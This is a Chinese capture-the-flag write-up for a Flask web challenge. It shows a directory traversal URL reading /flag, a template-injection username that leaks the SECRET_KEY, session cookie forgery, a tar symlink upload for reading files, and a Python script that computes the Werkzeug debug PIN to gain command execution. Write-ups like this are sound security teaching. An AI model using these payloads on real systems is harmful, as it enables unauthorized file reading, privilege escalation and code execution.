知识点
目录穿越,可任意文件读取
flask模板注入,可获取SECRET_KEY,从而伪造session成为管理员
上传tar文件自解压,可利用软连接读文件
debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令
目录穿越
http://111.198.29.45:38930/asserts/..%2f..%2f..%2f..%2fflag #读取假的flag ciscn{this_is_a_sample_flag}
格式化字符串+SESSION伪造+软连接读文件
代码中class User(db.Model,SQLAlchemy)继承了SQLAlchemy类,SQLAlchemy类中有请求上下文current_app变量,通过测试可以获取。
注册用户名为: {user.__class__.__mro__[3].__init__.__globals__[current_app].config},登陆后访问个人中心,拿到secret_key。
利用获取的secret_key签名session,获取admin权限
利用secret_key使用脚本计算cookie(工具下载地址 https://github.com/noraj/flask-session-cookie-manager.git ),获取admin权限后可以添加商品,商品图片可以是打包的tar包,从而利用软连接读文件
ln -s /flag 1.png tar cvfp ./flag.tar 1.png
上传后读取flag
debug模式,生成pin码的关键信息都可获取到,计算pin码,执行命令
参考文章:
https://cloud.tencent.com/developer/article/1369005
计算pin所需要的值为
username # 用户名 /etc/passwd 中找到用户名 modname # flask.app 一般为固定值 getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask 一般为固定值 getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到,但是要加上pyc uuid.getnode() # mac地址十进制 /sys/class/net/eth0/address 或者 /sys/class/net/eth33/address eth0为网卡 get_machine_id() # /etc/machine-id
这里我们的/etc/machine-id文件为空,所以计算的时候填空就行。
计算pin脚本
#!/usr/bin/python2.7 #coding:utf-8 from sys import * import requests import re from itertools import chain import hashlib def genpin(mac,mid): probably_public_bits = [ 'ctf',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None), ] mac = "0x"+mac.replace(":","") mac = int(mac,16) private_bits = [ str(mac),# str(uuid.getnode()), /sys/class/net/eth0/address str(mid)# get_machine_id(), /proc/sys/kernel/random/boot_id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num return rv # 02:42:ac:16:00:02 /sys/class/net/eth0/address # 21e83dfd-206c-4e80-86be-e8d0afc467a1 /proc/sys/kernel/random/boot_id def getcode(content): try: return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0] except: return '' def getshell(): print genpin("02:74:0e:ef:de:c2","") if __name__ == '__main__': getshell()
让网页报错,弹出debug模式,输入计算好的pin码,就可以执行python命令